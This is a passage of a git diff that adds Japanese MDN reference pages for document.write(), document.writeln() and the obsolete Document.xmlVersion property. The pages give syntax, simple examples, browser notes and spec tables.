+<div>{{ApiRef("DOM")}}</div> + +<p><strong><code>Document.write()</code></strong> メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。</p> + +<div class="note">注: <code>document.write()</code> は文書の<strong>ストリーム</strong>に書き込みを行うため、閉じられた (読み込み済みの) 文書で <code>document.write()</code> を呼び出すと、自動的に <code>document.open()</code> が呼び出され、<a href="/ja/docs/Web/API/document.open#Notes">文書はクリアされます</a>。</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="brush: js notranslate"><var>document</var>.write(<var>markup</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>markup</var></dt> + <dd>文書に書き込まれるテキストを含む文字列です。</dd> +</dl> + +<h3 id="Example" name="Example">例</h3> + +<pre class="brush: html notranslate"><html> + +<head> + <title>書き込み例</title> + + <script> + function newContent() { + document.open(); + document.write("<h1>新しい内容では、古い内容は削除されます！</h1>"); + document.close(); + } + </script> +</head> + +<body onload="newContent();"> + <p>元の文書コンテンツ。</p> +</body> + +</html> +</pre> + +<p>{{EmbedLiveSample("Syntax")}}</p> + +<h2 id="Notes" name="Notes">注</h2> + +<p>出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 <code>h1</code> 要素は文書中の一つのノードになります。</p> + +<p>{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に <code>document.open()</code> の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。</p> + +<p><code>document.write()</code> の呼び出しがインラインの HTML の <code><script></code> タグ内で行われた場合、 <code>document.open()</code> は呼び出されません。次に例を示します。</p> + +<pre class="brush: html notranslate"><script> + document.write("<h1>Main title</h1>") +</script> +</pre> + +<div class="note"><strong>注</strong>: <code>document.write()</code> および {{domxref("document.writeln")}} は、 <a href="/ja/docs/Archive/Web/Writing_JavaScript_for_HTML">XHTML 文書では動作しません</a> (エラーコンソールに "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が <code>application/xhtml+xml</code> の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a> で確認することができます。</div> + +<div class="note"><strong>注</strong>: <code>document.write</code> は <a href="/ja/docs/Web/HTML/Element/script#attr-defer">deferred</a> または <a href="/ja/docs/Web/HTML/Element/script#attr-async">asynchronous</a> のスクリプト内では無視され、エラーコンソールに "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。</div> + +<div class="note"><strong>注</strong>: Edge のみ、<code>document.write()</code> を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。</div> + +<div class="note"><strong>注</strong>: Chrome 55 からは、キャッシュされていない HTTP の場合、<code>document.write()</code> を通じて挿入された <code><script></code> 要素は実行されなくなります。これが成立するのに必要な条件の一覧については、<a href="https://developers.google.com/web/updates/2016/08/removing-document-write">document.write() に対する介入</a>をご覧ください。</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.write")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("element.innerHTML")}}</li> + <li>{{domxref("document.createElement()")}}</li> +</ul> diff --git a/files/ja/web/api/document/writeln/index.html b/files/ja/web/api/document/writeln/index.html new file mode 100644 index 0000000000..613308e98e --- /dev/null +++ b/files/ja/web/api/document/writeln/index.html @@ -0,0 +1,66 @@ +--- +title: Document.writeln() +slug: Web/API/Document/writeln +tags: + - API + - DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/writeln +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>テキストの文字列とその直後に続く改行文字を文書に書き込みます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="eval">document.writeln(<em>line</em>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code>line</code> はテキストの行を含む文字列です。</li> +</ul> + +<h2 id="Example" name="Example">Example</h2> + +<pre>document.writeln("<p>パスワードを入力してください:</p>"); +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p><strong>document.writeln</strong> は {{domxref("document.write")}} と同じですが、改行文字を追加します。</p> + +<div class="note"><strong>メモ:</strong> <strong>document.writeln</strong> は (<strong>document.write</strong> と同様に) XHTML 文書では動作しません (エラーコンソールに "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が <code>application/xhtml+xml</code> の MIME タイプで提供されたときに発生します。詳細は <a href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a> で確認することができます。</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-writeln", "document.writeln()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-35318390", "document.writeln()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.writeln")}}</p> diff --git a/files/ja/web/api/document/xmlversion/index.html b/files/ja/web/api/document/xmlversion/index.html new file mode 100644 index 0000000000..5749711827 --- /dev/null +++ b/files/ja/web/api/document/xmlversion/index.html @@ -0,0 +1,36 @@ +--- +title: Document.xmlVersion +slug: Web/API/Document/xmlVersion +tags: + - API + - DOM + - DOM リファレンス + - Document + - Obsolete + - Reference + - プロパティ +translation_of: Web/API/Document/xmlVersion +--- +<div>{{APIRef("DOM")}}{{obsolete_header("10.0")}}</div> + +<p>XML 宣言 (例えば <code><?xml version="1.0"?></code>) で指定されたバージョン番号を返し、宣言がなければ "<code>1.0</code>" を返します。</p> + +<p>この属性は常に 1.0 を返していたので、本当は有用ではなく、 DOM Level 4 で削除されました。同様に、 Firefox 10 はもう実装していません。以前の主な使用法は、文書が HTML ではなく XML として表示するかどうかを検出するためでした。これは、小文字で要素を作成し、すべて大文字に変換されるかどうかを確認することによって検出することができます (文書が XML ではない HTML モードの場合)。</p> + +<pre class="brush: js">if (document.createElement("foo").tagName == "FOO") { + /* 文書は XML ではない */ +} +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-version" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...ument3-version</a></li> + <li>{{spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD")}} で削除されています。</li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.xmlVersion")}}</div> |